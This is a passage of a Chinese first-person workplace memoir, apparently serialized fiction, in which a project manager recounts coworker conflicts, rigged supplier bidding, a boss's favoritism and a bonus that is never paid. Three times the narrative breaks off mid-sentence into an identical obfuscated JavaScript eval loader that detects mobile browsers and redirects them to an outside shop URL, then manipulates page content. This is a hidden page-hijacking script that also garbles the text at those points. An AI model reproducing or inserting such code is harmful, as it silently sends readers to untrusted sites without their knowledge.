我和她共事了九个月,在王夏没来之前,我们是彼此在公司唯一的朋友。每天下班后一起吃饭、逛街、做美甲,她还会分享她的感情经历,我们那时候无话不谈。没想到转眼却形同陌路,看都不看我一眼。 王夏是易梦菲介绍来公司的,他们是前同事。见我俩这样,他好像也不在意,“哎哟,随她去咯。大家都是成年人,她肯定有她自己的想法。” 尽管如此,我还是不忍看她“委身”去肖总部门,她会被消磨死。 我对易梦菲和王夏的态度是一样的,我欣赏他们的才华,我希望他们有更好的发挥,所以我决定再劝一劝易梦菲。 在欧阳总原来的办公室里,我和易梦菲在沙发间相对而坐。她双手插在衣服兜里,侧身对我,好像很不耐烦。 或许如姚总所料,易梦菲去了肖总部门以后,他们或许有机会拿到一些大项目。但以我对倪总业务布局的了解,肖总部门迟早要解散。而我们文旅项目部的业务才是公司的未来,她留在我这里无疑有更多发挥的空间。 我好言相劝,动之以情晓之以理,甚至提出若有项目分派下来可以让她先选,可她仍旧无动于衷。 我终于死心。作为朋友,我真心为她。作为同事,我仁至义尽。 5. 第五章 这个项目最初并不是由我负责。 当时我正统筹另一个大型活动,执行在即,根本分身乏术,所以把它交给了同组的易梦菲。她对此项目表现出浓厚兴趣,并用心做了方案。 当公司再度要求我参与竞标时,表示易梦菲的方案被甲方直接pass,需要我尽快做一个方案补位。而距离方案征集截止日期只剩两天,留给我的时间非常有限。我必须在两天之内快速拆解甲方需求,在完成方案的同时,还需要准备汇报后的Q&A环节。 在此前将近两个月的时间内,甲方已从全国征集到三十多份方案。 据说,中标方可获得十万元方案费。 经过两轮删选,只剩三份。在最后一轮的综合考评中,我的方案有幸中选。 可结果公布的那一刻,我并没有太多喜悦的情绪。 因为征集时间延长之后直接压缩了活动筹备的时间,导致中标方时间十分仓促,任务异常艰巨。而我的项目组就只有我和王夏两人。 1 前期由我负责整体策划、方案汇报以及与甲方的所有沟通;王夏负责活动现场的美陈设计、相关物料。当我这样分配时,他拒绝了:“我是做平面的,做不了3D!” 在转行做策划之前,我已经做了多年设计,对这一行能做的事情非常了解。 在我的判断里,王夏是综合素质很强的设计师,本不该拘泥于平面与3D的区别。他只需用平面的形式表现出造型,再交给其他同事完成3D渲染即可。 我向他解释整体思路,明确风格方向和设计步骤,鼓励他说:你可以的!你没有问题的! 王夏听了我的建议决定尽力一试。 随后,我们一同前往活动场地对接甲方,了解更为具体的美陈需求,再拉着他按活动路线从头到尾走了两遍,直到他没有任何疑问。 时间紧任务重,执行方案需要立刻成型,所有示意图都要尽快变成可落地的效果图。 2 回到公司后,我很快进入状态,开始填补方案细节。 王夏的工位在我旁边,他却反复对我说,自己脑子里一片空白。他受到执行同事的影响,担心材质、尺寸、固定方式等问题,担心方案最终无法落地。 我试图把问题拆解成可执行的步骤,也提议先参考成熟案例,降低试错成本。我们的讨论越来越焦灼,他最终勉强点头,却始终无法推进。 我看他心里始终有道坎,觉得平面设计师做不了三维设计。为了提高整个执行方案的优化进度,我开始在网上寻找相匹配的美陈方案,直接给他示意。 不知不觉天已经黑了。倪总给我们带来宵夜,说要陪我们一起加班。 他坐在我们之间吃得正香,王夏突然情绪激动,“老殷,我做不了!你要的东西我给不了!专业的事还是要交给专业的人去做,你这样不行的,会出问题!” 他的语气有些急躁,倪总在一旁愣住了。 我本就着急上火,对他亦丧失耐心,“行了你不用做了,我自己来!” 王夏见我发脾气,不免一怔,憋着一股气闷声做起了其它平面设计工作。 “素素,还有什么需要我协调的没?”倪总吃完以后低声问道。 “暂时没有。”我头也不回。 “好哦,夜宵你们趁热吃,我反正也帮不上什么忙,就先回去了。” 不久之后王夏也走了,整个公司剩下我一人。我清楚地意识到,王夏并不是能与我并肩作战的人。作为项目负责人,我已无路可退,只能倾尽全力。 3 三天以后,我在倪总办公室向甲方汇报方案。 王夏把主KV初稿发在项目群里,我简单看过,直接同步给了甲方。经过一轮沟通 ,我根据甲方提出的修改意见,在群里@王夏进行调整,并附上几张与甲方确认过的参考图。 群里很快跳出他的回复: “你现在是要我推倒重来吗?” “这到底是你的意见还是甲方意见?” “你到底懂不懂设计?” “甲方说什么就是什么是吧?” “你自己没有脑子吗?” 在这个项目群里,除了万总负责的执行部门,还有新媒体、财务和人事的许多同事,我没想到他会如此不分场合地对我公开diss。震惊之余,更多的是无奈。至此,方案推进、设计补救、对外协调,几乎都落在我一个人身上。 可笑的是,与王夏冷战几日后,他突然发微信和我说:“姐,我错了,我们谈谈吧!” 我俩在楼道里找了个地方并肩坐下,我以为他要道歉,他却说—— “老殷,你知道为什么大家都不愿意理你吗?” 这听起来像是老朋友的深切关怀。我眉头一簇,一时无言以对。 王夏继续说:“不要天天板着脸,不要老觉得别人不行就你行!有机会多和大家聊聊天,多走动走动,在这里一起抽抽烟什么的。人是群居动物,不要活得这么孤立,很辛苦。自己不懂的就向人家懂的多请教请教,没什么好丢脸的,是吧?……” 整整四十分钟!他在苦口婆心教我做人,真是用心良苦。 “我知道了。我明白了。”我微笑着回应他。 王夏心满意足的笑了笑,恢复了平时有些调皮的语气:“那我们没事了撒?” “没事啊!”我回答了。 想来真是可笑,他当初身陷前总监离职阴谋,不得不离开,若非我为他作保请老板留下他,哪有他如此羞辱我的机会。我由此认清了他的面目,不再视他为友。 王夏很快察觉到我对他已没有朋友之谊,遂意识到那段“好言相劝”实则弄巧成拙。 4 五日后我终于把美陈方案做完,将平面稿发在项目群里并@肖总部门的3D建模师:“美陈方案已经做完了,麻烦你根据需求帮忙渲几张3D效果图,有什么问题我们随时沟通,谢谢。” 几分钟之后,办公室里响起一个女声:“做不了哦!” 我抬眼望去,只见两名负责执行的男同事围在3D建模师身后看着电脑屏幕,王夏也在一旁。 “为什么做不了?”我平和地问道。 “做不了就是做不了,听不懂嘛?”——说话的是王夏而不是那位3D建模师。 没等我反应,王夏继续当着全公司的人对我大声说道:“什么都不懂做什么项目统筹?还在这里发号施令!” 持续高强度的工作已让我筋疲力尽,朋友的背叛更让我身心俱疲。 回家以后我仍旧心绪难平,想到甲方没完没了的修改意见,想到自己在公司孤立无援,压力如山石崩塌,我却无处可逃。为何会为一份工作消耗至此? 鬼使神差一般的,我拨通了人事总监姚总的电话,表达了离职意愿。 姚总也在项目群里,很清楚我和王夏的事情经过。她是人事总监,也是我在公司的知心大姐,常常为我开解压力,我因此对她没有保留。于是在她耐心开导之后,我打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113978|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消了离职的念头。 不久之后,总经理倪总也打来电话安抚我。 我很清楚他们的挽留和关心并不是因为我有多大价值,仅仅是项目到了关键阶段,容不得我这里有任何差池。而其实,我提离职不过是积压的情绪无处释放,急需找个出口。 于公于私,我都不会半途而废! 5 翌日上午,我在企业微信上收到了王夏提交的离职申请。 倪总随后找我谈了一次。他告诉我,王夏是主动找他提出离职的,并在谈话中说出了“这公司有我没她,有她没我”这样的话。那天之后,原本只有两个人的部门,只剩下了我一个。 项目还在推进,我没有时间停下来消化这件事。高压之下,我几乎每天加班到凌晨,心里只有一个念头——尽快把这场拉锯战结束。 在执行方案终于得到甲方认可之后,我开始重新组织人手。和执行部门的杨子,以及第三方执行公司沟通后,我们临时搭建了一个执行团队,又招了设计小菲和新媒体运营小凡。小菲负责对接第三方执行公司,跟进设计与落地细节;小凡则协助我完成宣发方案和推文内容。 美陈方案出来以后,按公司制度我需要让负责供应商库的肖总为我推荐至少三家公司,我会将我的要求提给他们,在由这几家公司分别给我报价,价低者中标。 在美陈定制公司的选择上,我一向谨慎。 基于此前多次合作的经验,肖总推荐的供应商几乎没有一家能真正达到我的预期。而这场活动的美陈,并非点缀,而是承担着主体功能的存在。于我个人而言,所有的美陈方案都是我亲自设计的,倾注了我大量的时间和精力,我于公于私都不能轻率对待。 在征得倪总同意后,我向肖总推荐了一家武汉的公司,申请其进入公平比选流程。 这家公司曾在此前那场英雄联盟活动中,负责舞台搭建及部分物料制作,整体质量稳定可靠,同时也是腾讯电竞执行方长期合作的供应商之一。基于过往经验,我对他们的执行能力相对放心。 按照流程,我将整理好的方案和需求清单一并交给肖总,由他所在部门牵头建群,将相关资料同步发送给四家入选公司。 在约定的同一时间,四家公司分别提交了报价表。结果出来时,我多少有些意外——那家武汉公司的报价反而是最低的。按照既定原则,价低者中标。 令人意外的是,第二天,肖总却以我提供的需求清单存在问题为由,要求其中一家本地公司重新提交了一份报价。 而这一次的报价,比前一轮整整低了八万。前后只隔一夜,价格却出现如此大的变动。结果很快出来,这家本地公司无疑是所有供应商中报价最低的一家,被确定为中标方。 我随即给倪总打了电话,询问这件事。 为什么会有第二次报价? 为什么这件事我完全不知情? 如果允许二次报价,那么是否所有参与比选的公司,都应该被同等对待? 电话那头沉默了片刻。 “你是不是一定要用武汉那家公司?”倪总问。 “是!这场活动的定制美陈非常重要,我必须要保证质量。而且这家公司也是按照既定流程参与比选后中标的,为什么不能用?” 他没有再继续这个话题,只是说:“好,肖总那边我帮你去沟通。你不要有负担,好好把项目做完。” “好,谢谢倪总。” 电话挂断后,事情暂时被按下。 6. 第六章 6 除了大量打卡美陈的定制之外,现场演绎也是这场活动中不可或缺的一环。 按照公司制度,我同样请肖总推荐执行公司。由于甲方提出了明确要求,演绎内容不仅需要成熟的汉风歌舞节目,还必须根据活动主题全新编一支舞蹈——这对执行团队的专业能力和时间配合度都有较高要求。 当时临近国庆假期,留给我们的准备时间非常有限。如果要在短时间内重新排一支舞,能够接下来的公司并不多。最终,肖总只向我推荐了两家,一家报价偏高,一家相对便宜。 我向他确认:“哪一家的整体素质会好一点?这场活动的现场效果很重要。” 他思索了一下,说:“都差不多,我觉得两家差不多。” 为了进一步确认情况,我分别给两家公司打了电话,询问是否能够在既定时间内完成重新编舞。两家公司都表示可以配合,但在沟通过程中,报价较高的那一家回应相对敷衍,可能是手头项目较多,配合度并不理想。 而在当时条件下,除了这两家,我几乎没有更多选择。综合考虑后,我决定采用报价较低、沟通反馈相对积极的那一家。 合同签订后的那一周,事情开始变得不太对劲。 供应商老板的电话经常无人接听,信息也常常没有回复。偶尔接通,对方只说排练到很晚,刚醒。这样的状态持续了几天,配合程度之低,出乎我的预料。 有一次终于接通电话,我尽量放缓语气。 “不好意思,辛苦了。排得怎么样了?”我问。 “还可以,”电话那头是个年轻女声,“前面有一段朗诵,后面是舞蹈。” “我们什么时候可以到现场看一下排练?” “再过几天吧,”她说,“我们还需要再熟悉一下走位。” 我停了一下,还是解释道:“是这样的,这个节目甲方领导特别关注,所以我们还是尽快过一遍。如果方向不对,还能及时调整,再晚几天,可能就来不及了。” 电话那头沉默了好一会儿。 随后,她语气明显冷了下来,带着一点不耐烦,和我约定了两天之后的晚上七点。 7 原本我的打算,是在甲方正式验收之前,自己先去排练厅看一眼。 没想到,甲方的局长比我还心急。她临时叫上了另外几位领导,又通知了我和肖总,一行人直接到了排练厅。 我心里一边发紧,一边又安慰自己:都已经排练了十来天,总不至于太离谱。 可真正走进排练厅的那一刻,我才意识到,之前那种不踏实并非多虑。 演员站位凌乱,节奏混乱,音乐一响,走位几乎无法连贯。这不是调整不到位的问题,更像是从未进行过完整排练。 几位领导站在一旁,脸色很快沉了下来。 局长更是当场发作,她看着我,语气严厉:“这就是你说的没什么问题?要不是我今天来看,你打算怎么交差?开幕式那天,市领导、省领导都会到场,你就让他们看这个?” 她停了一下,压低声音补充道:“我的仕途都差点毁在你手里!” 那一瞬间,我一句话都说不出来。 现场的空气仿佛凝住,压力从四面八方压过来,让人几乎无法呼吸。 肖总买来几瓶矿泉水分发给几位领导,面带谄媚之笑,凑到局长耳边低声说了几句什么。 局长始终没有离开的意思,其他几位领导自然也不敢走,大家只能站在排练厅里,看着舞者们一遍一遍地重来。照这个架势,如果今晚排不出一个能看的节目,谁也别想下班了。 一群事业单位的领导围在现场,不时插话、点评,原本就不耐烦的舞者们状态迅速下滑。动作开始僵硬,节奏也越来越乱。站在一旁的女老板脸色明显不好看。 我趁局长不注意,给肖总发了条信息,让他在排练间隙找女老板沟通一下,无论如何先稳住人,千万别在这个时候撂挑子,熬过今晚再说。 舞者们像是被牵着线的木偶,指哪里动哪里,始终找不到整体的感觉。 场面一次次重来,终难以成型。 我们都知道事已至此,发脾气没有任何意义,临时换供应商更不可能,就只能死马当活马医。局长很快变成现场最清醒、也最配合我的人。我们站在一旁,各自拿着手机,她一边提点我,我一边翻找相关的视频素材,想到合适的段落便立刻叫来女老板,当场调整,当场排练。 有限的时间仿佛被无限拉长。 那是我人生中最难熬的一个夜晚。从晚上七点,一直熬到凌晨一点多,我几乎不敢松一口气。 更为可怕的是,这样的场面,我经历了三次。 第一次,肖总还在现场。虽然不指望他能解决什么问题,但至少能分担一部分来自甲方的压力。等到第二次、第三次,便只剩下我一个人,独自站在前面,把所有的责难和不满接了下来。 8 开幕式前一晚,局长给我打来电话。 那通电话的语气,与之前几次明显不同。她说起自己临近退休,这场活动很可能是她主持的最后一个大型项目,希望能够平稳收官,不出任何岔子。她也清楚,任何事情的圆满都离不开天时地利人和,有些结果并非强求就能得到。 她解释说,之前对我说了不少重话,并非有意为难,只是事情逼到眼前,心里着急,却一时找不到更好的解决办法,情绪难免失控。其实她心里明白,我已经尽力了,而且做得并不差。 那一刻,我没有接话,只是静静听着。 挂断电话后,一种说不上来的压力落在身上。那种被托付的感觉并不轻松,却很真实。 开幕式当天,天色并不理想。 没有太阳,乌云压得很低,细雨断断续续地下着。 我突然想到局长,真不知是她的运气不好,还是我的运气更差。 所幸在开幕式之前,乌云慢慢散开了。雨还在下,但天色已经明亮起来。 人潮如期而至,一拨接着一拨,填满了景区的各个角落。 前来参加开幕式的领导们在工作人员的引导下缓缓步入我们搭建的会场。局长亲自为前排领导撑伞,一边行走,一边作现场讲解。几位领导在美陈打卡点前驻足观看,不时点头示意,看上去对整体效果应该颇为认可。 仪式按既定流程推进。 由局长参与现编的开场节目顺利完成,呈现效果勉强达到了我们预期的及格线。我心里稍稍松了一口气,以为最大的风险已经过去。 直到演绎进行到最后一个节目。 一名男舞者在表演过程中,裙摆意外脱落。 那一刻,我猛然意识到,自己还是放松太早。原本就谈不上出彩的整体效果,被这样一个低级失误彻底拉回现实,现场的尴尬几乎令我无法承受。 我站在台侧,一时间不知道该把目光放在哪里。台下,局长陪同几位重要领导坐在前排,我甚至不敢去想她此刻的感受。 因她必须全程陪同领导把流程走完,所以直到当天活动结束,局长都没来找我发火。 我虽然躲过一劫,却并不感到庆幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113979|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 事后回想起来,我才意识到,公司供应商库里的执行方,本应经过多轮筛选、层层把关。可现实中它们的表现,却远没有想象中可靠。 那么删选入库的意义在哪里? 9 还有一件事,不得不提。 在汉风集市的规划中,我原本预设了四个汉服摊位。倪总表示,他那边可以统一安排,不必额外花钱去招募摊主。既然能够节省成本,我自然没有异议。 然而,临近活动开始只剩下不到两天时,倪总忽然告诉我,他那边只能安排到三位摊主,让我尽快再补一位。 彼时已逼近国庆假期,条件和素质稍好的摊主早已被其他活动预订,执行方那边也无计可施。万般无奈之下,我只好拜托自己的妹妹帮忙。 我如实向她说明了事情的经过,也和她一起分析了汉服摊位可能存在的收益空间。妹妹权衡再三,决定加入。利用下班时间,跑遍了市内几个批发市场,购入了一批品质不错的汉服。 活动开始前,我们为所有集市摊主建了一个群,便于统一管理。但倪总那边安排的三位汉服摊主始终没有进群,我无暇多问,不确定是他有意为之,还是一时疏忽。 活动当天一早,我便赶到集市现场做整体安排。整个集市呈现出一条古风长街的形态,四个汉服摊位两两相连,分别布置在左右两侧。妹妹来得最早,我让她自行挑选了一个位置。 临近开市时,我看到肖总领着两名年轻女性走来,他们拎着大包小包的汉服径直走向汉服摊位,这才意识到,原来倪总迟迟未曾说明的汉服摊主,竟是他的女友和肖总的爱人。 可原本说好的三位摊主,最终只来了两位。 我随即询问倪总,他只说其中一人临时有事,来不了了。于是,现场只能空出一个摊位。这对整个集市效果无疑造成了不小的影响,我因此遭到甲方责怪。 为了提升汉服体验,活动按照甲方要求配备了两位妆造师,原则上由四个汉服摊位共享,每两个摊位安排一名。 活动进行中,妹妹忽然给我打来电话,语气里带着疑惑:“不是说好了有妆造师支援吗?” 我一时也愣住了。集市板块由徐总负责安排,妆造师的安排此前已经沟通过,按理说此时应该已经到位。 我立刻给徐总打电话确认情况,这才得知,妆造师确实是按照我的要求一开始各自安排在两个区域。但肖总看过现场之后,把两位妆造师都叫走了,统一安排给了他的爱人,以及倪总的女友。 作为项目负责人,我对整体执行负责,但供应商的直接管理权一直在肖总手里。妆造师属于他对接的执行资源,他的话对供应商而言几乎是不可违逆的指令。 了解情况后,我只能抽身赶到汉服摊位。 与之形成鲜明对比的是,两位“领导夫人”的摊位前,好几位穿上汉服的游客正排队等化妆;而妹妹的摊位前,只有零星两三个来客,加之旁边还有一个空置的摊位,整体显得格外冷清。 当初是我劝她来参与活动的,也明确向她保证过会有妆造师配合。但此刻,我却无能为力。如果只是普通领导的家属,我尚且还能据理力争,强行调整。可对方是老板的女友,我作为项目统筹,很难就这件事直接找老板对质。 最终,我只能一再向妹妹道歉,并承诺因此产生的损失由我来承担。 她听完事情的前因后果,没有责怪我,但显然不高兴。第二天她便没有再来,此前购入的汉服,也只能打折退还。 然而,妆造师的风波并没有就此结束。 7. 第七章 10 按照甲方要求,并结合我对项目整体成本的控制,妆造师原本只安排了三天。可第四天清晨,我还是在仅剩的两个汉服摊位前,看见了妆造师忙碌的身影。 我随即向徐总询问情况,这才得知,是肖总明确要求继续安排妆造师,让她们一直跟到活动结束,而由此产生的费用,自然计入项目成本。 我情绪有些激动,当即在有肖总和倪总的三人群里发消息质问:“肖总,请问妆造师是你安排的吗?” 消息发出后,一直没有得到回复。我在活动现场也没有找到肖总的人。过了一段时间,我再次发问:“我好歹是这个项目的负责人,你这样擅自增加项目成本,是否应该提前和我沟通一下?” 这一次,我依然没有等到肖总的解释,却先接到了倪总的电话。 他说:“肖总说妆造师不是他安排的,是活动公司徐总那边安排的,你再去了解一下。” 我只好再次拨通徐总的电话。这一次,他的语气里既有愤怒,也有无奈。一方面,他非常明确地强调,妆造师确实是肖总亲自出面要求的,当时还有其他同事在场,可以作证。另一方面,他也清楚这件事已经很难再说清楚了,最后说道:“算了算了,事情已经这样了,人比事更难做。” 最终,徐总被迫承担了两名妆造师第四天的全部费用。 11 真正让我难以忍受的,其实并不是妆造师事件,而是盒饭。 那天下午,我让小菲和小凡按照工作盒饭群里的报备情况,提前准备好了盒饭。到分发时间,我对照清单,给倪总打了电话,准备安排人给他送两份盒饭。 电话接通后,他却告诉我,他和肖总都不在活动现场,让我把盒饭送到他女朋友和肖总爱人那里。 那一瞬间,我的情绪突然失去了控制。 我甚至顾不上语气是否合适,只是脱口而出:“倪总,我们这边是不包含摊主盒饭的。如果要包,那三十个摊主的盒饭都要一起包,只报这两个,甲方那边我没法报账。” 我生气不全是报账问题。倪总那头明显顿了一下。 “你是说我舍不得这两个盒饭钱吗?”他的声音一下子拔高,“我就算把她们两个直接带到食堂去吃,甲方也不会说什么!” 话音刚落,他便挂断了电话。这简直不可理喻。 我站在原地,一时间竟不知该如何继续这件事。 这场活动耗费了我太多精力。连续熬夜、长时间的高压,让我原本一直不错的身体状态迅速下滑。几年没有进过医院的人,最终还是病倒了。 开幕式结束后,我立刻请了三天病假。说是病假,其实更多是远程协调——现场的流程已经固定,能安排的事情基本都安排好了。 就在这期间,我从小菲那里得知,局长临时要求追加了一场演绎接待另一批领导。 由于我请假不在,倪总便让肖总全权负责这件事。具体执行过程我并不清楚,只知道那一场临时加演的效果比开幕式还要糟糕,连音响都出了问题,现场几乎失控,局长更是当场发火。 听到这些,我甚是无奈。 那原本是一个补救开幕式的机会。如果换作是我,哪怕多花一些成本,也愿意重新调整方案,尽力给出一场体面的演出。 12 活动一共持续了十天。休息三天后,我又回到了工作岗位。 按照现场安排,每天早上八点要给志愿者做培训。为了赶上时间,我通常清晨六点出门。身体还没完全恢复,有一天早上稍微耽误了一些。 工作群里弹出一条消息,甲方的一名工作人员徐静@我:“你人呢?怎么还没到?你不知道早上八点要给志愿者培训吗?怎么现在还没看见你人。” 那一刻,我心里忽然有些发紧。大病初愈便立刻回到现场加班,难免生出几分委屈,也没太注意措辞,直接回怼道:“不好意思,在我们的合同里,好像并没有哪一条规定我必须每天早上八点到景区为志愿者做培训。” 群里随即安静下来。 志愿者是甲方自行招募的,按理培训也应由他们自行负责。更何况在活动开始前,我已经按照甲方要求,在大课堂里为所有工作人员和志愿者做过一次完整的统一培训。 尽管如此,之后的几天,我还是尽量每天按时赶到现场,协助他们做志愿者培训。 活动接近尾声时,我作为项目负责人,与活动执行部门的同事杨子一起,配合甲方工作组在现场做验收。徐静也在场,正和其他同事说笑。 验收进行到一半,倪总忽然给我打来电话。 “你在现场发脾气啊?” 我愣了一下,“发什么脾气?什么意思?” “有人投诉你,说你在现场发脾气,不配合他们做验收。” 听到“投诉”两个字,我下意识地看向不远处的徐静,她正和同事打闹,看起来心情不错。 “并没有。”我平静地说。 电话那头停顿了一下:“算了,你也别在那做验收了,我让肖总过去,你回来吧。” 我没有再多说什么,只觉得一阵说不出的无力。 挂断电话后,杨子小声告诉我,肖总已经在来的路上了。 我忍不住问杨子:“我刚刚有发脾气吗?” 他一脸茫然:“没有啊?不是一直在正常做验收吗?” “有人投诉我,说我当场发飙,不配合做验收。” 他苦笑了一下:“这不明摆着有人想搞事情。” 我点了点头,没有再接话。 13 活动结束后,我被倪总叫到办公室。 谈话一开始,他便对我一番数落。主要针对我在工作群里当众回应甲方工作人员一事,认为我公然“顶撞”甲方,犯了职场大忌。随后,又将话锋转向我的组员,说小菲和小凡在整个项目中几乎没有发挥作用,完全没有为我分担压力。 一个上百万的项目,持续十天之久,需要处理的事务何止成百上千。小菲和小凡一个负责对接设计与执行,一个负责线上宣发,拿着试用期并不高的薪资,却几乎每天和我一起加班,很多细碎却关键的工作,都是她们在支撑。 尤其是国庆期间,活动现场需要同事值班。小菲和小凡在家只待了三天便赶到会场协助。即便谈不上什么功劳,苦劳也是有的。 我说的这些,对倪总而言并没有产生任何作用。指责仍在继续,我只觉得身体里那股刚刚缓过来的疲惫再次翻涌上来。替自己感到委屈,也替她们感到不值。 我没能控制住情绪,眼泪掉了下来,语气也有些失控:“不是。不是她们没有能力,是我没有把她们带好。” 倪总几乎没有犹豫,立刻接住了这句话,语气变得异常冷静而笃定:“这是你自己说的。如果是这样,那我也没必要再留她们了。” 我一时无言。 那一刻,我忽然意识到,自己仿佛走进了一个早已布置好的局。无论如何回应,结论似乎都已经在那里等着我。眼泪止不住地往下掉,但倪总并没有停下来。 “你这么情绪化,我怎么把重要的项目交给你?”他说。 这句话让我难以接受,反驳道:“公司交给我的项目,我都已经按要求完成,也给公司带来了实实在在的收益。我觉得我的能力没有问题,你这样的质疑并不合理。” “你的能力是没有问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113980|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但你的态度有很大问题!” “什么问题?”我追问。 他像是已经失去了耐心,语气低了下来:“算了算了,你先出去吧,自己好好想一想。你那两个组员,我会让姚总去找她们谈。” 我知道,再争论下去已经没有意义,便起身离开了办公室。 14 我原以为,活动结束之后,等待我们的会是某种意义上的肯定,至少约定的奖金会如期而至。可真正等来的,却是人走茶凉,最后只剩下我一人。 年尾临近,好工作只会越来越难找。我对小菲和小凡满是愧疚,后悔把她们招进来,也后悔没能把她们带好。客观来说,这两个女孩都很优秀,专业能力达标,上手也快,适应性很强。 我曾试着想办法留住她们,先后找过姚总两次,却始终没有结果。到最后,也只能祝她们好运,希望她们能尽快找到真正适合自己的工作。 前任总监离职后,我被提拔为经理。升了职却没有加薪,反倒多出一整个部门的事。又因我刚负责完一个大项目,倪总因此主动提起奖金的事,感觉像是在安抚。 “该发的奖金还是要发的,”他说,“我们不可能要马儿跑,又不给马儿吃草。你回头找一下姚总,你们一起把奖金方案做一下。” 入职时,我并没有想过奖金的事。公司不提,我不会去想,可当老板反复提起,我难免开始期待。按照他的要求,我部门的奖金方案修改的一轮又一轮,直到接近年尾,才算最终敲定。 如果不是这笔奖金,我大概在海昏侯项目结束之后就已经选择离开。小菲和小凡离职时,我在心里暗暗下定决心,等奖金发下来,我会分一半给她们,至少算是一个交代。 可倪总的承诺,一次次落空。我却还是在傻等。 有时候我甚至觉得,如果我主动放弃争取将近,仿佛意味着之前所有的付出都失去了意义,我会对不起那个咬牙撑过来的自己。 直到放年假前一周,我还在问他:“倪总,说好的奖金呢?” “会有的,放心。”他这样回答。 可一直到过年,都没有任何消息。 15 奖金最终化为泡影。 那些被一再压住的情绪,没有出口,只能慢慢沉进心底。我知道自己应该离开,却迟迟下不了决心,害怕工作难找。于是我不断说服自己——毕竟刚刚转行做策划,需要学习和积累的东西还很多,那些没能拿到的奖金就当是学费吧! 没过多久,肖总的部门因为长期接不到像样的业务,五名组员陆续被公司辞退。 杨子离开后,有一次找我闲聊,提起他部门旧事:肖总的爱人在做汉服摊位那几天里赚了三万多块,加上后来从供应商那里私吞的三万块,一共六万,直接给他爱人开了一家汉服妆造店! 杨子和另一位同事还曾经收集过证据,在倪总面前举报了肖总私吞三万块的事。 不过这件事好像对肖总没有造成任何影响。 我笑了,“你俩看着挺精的,怎么比我还天真?倪总怎么可能不知道这些事!” “说得也是咯!我们当时没想那么多!” 以前就知道肖总捞钱,但听到实实在在的证据,还是有些惊讶。 我更替自己感到不值。项目是我在做,是我和我的组员在日夜连轴转,可我们走的走,最后连一分钱奖金都没有拿到,他却赚得盆满钵满…… 我渐渐明白,在这里,能力并不是最重要的。 走,还是留? 这个问题在我心中反复出现。 我很清楚,当这个问题反复出现时,其实已经有了正确答案。勉强继续下去,处境只会更糟。 8. 第八章 周末只要不加班,我会抽出一天时间陪爸妈,风雨无阻。 这一天,妈妈又弄了一桌子好菜,我照旧陪他们小啜一口。 “你这工作还不好啊?”爸爸笑呵呵地说,“背靠省级国企,有双休,有五险一金,一年到头坐在办公室吹空调,轻轻松松一万块,还不知足啊?” 我苦哈哈地说,“你是不知道我多有辛苦!” “这话说的,哪个不辛苦?别人比你辛苦的还没你赚得多!” 我笑了笑,没再接话,只低头喝了一口酒。 在爸妈眼里,我在外漂泊四年之后回来,能找到这样一份工作,已经是万幸。比起弟弟妹妹和身边大多数孩子,不知道要好多少。如果还不知足,那便是不懂事。 可他们不知道,公司虽转了国控,内里还是和私企一样。虽然有双休,但加班却是日常。这些外在的辛苦尚且能忍,真正令人窒息的,是人为造成的内耗。 我不知道该怎么向爸爸解释—— 这一万块,收买的不只是我的劳动力,还有我的生命力。 1 2024 年初,公司从私企转为国控,由日报集团一家全资子公司控股 70%。 董事长陆总、副总经理熊总均由集团母公司委派,名义上负责监督与管理公司的经营决策。但倪总依旧延续着私企时期的做派,高层之间的明争暗斗,也由此埋下伏笔。 一次在倪总办公室里,他先提起前母公司撤资的事,话锋一转,又说到了奖金。 “所以奖金不是不给你发,”他说,“那时候母公司要撤资,以我当时的能力我没办法帮你要。” 他语气听起来有些为难,像是在期待我的理解。可“帮我要”这三个字,让我愣了一下。 他穿着拖鞋,从办公桌走到茶桌前,慢悠悠地开始泡茶:“说好的会给你发,就一定会发,只是早晚的问题。我不可能又要马儿跑,又不给马儿吃草。” 我在心里翻了个白眼。说要发的是他,说发不了的也是他。 “但现在公司刚刚转型,”他接着说,“集团那边要求降本增效,我需要你们的支持。” 他停了一下,语气依旧平缓:“所以你们的绩效,公司决定暂时停发。” 我又是一愣。就这样轻飘飘一句话,我每个月两千块的绩效工资,就没了? “那要停到什么时候?会补给我们吗?”我问。 “补肯定会补,”他说,“但是要等以后项目真正落地了,在项目提成里给你们补。” 呵,又是“以后”。 2 在此之前的一年里,我跟着倪总在省内多地奔波。前后接洽了四五个市级大型文旅项目,方案改了多少版、汇报做了多少场,早已记不清了。可这些项目最终要么无疾而终,要么被无限期搁置。 换句话说,我所在的部门,几乎整整一年没有真正落地的业务。这也是后来倪总提出停发绩效时,我心里并没有太多底气反驳的原因。 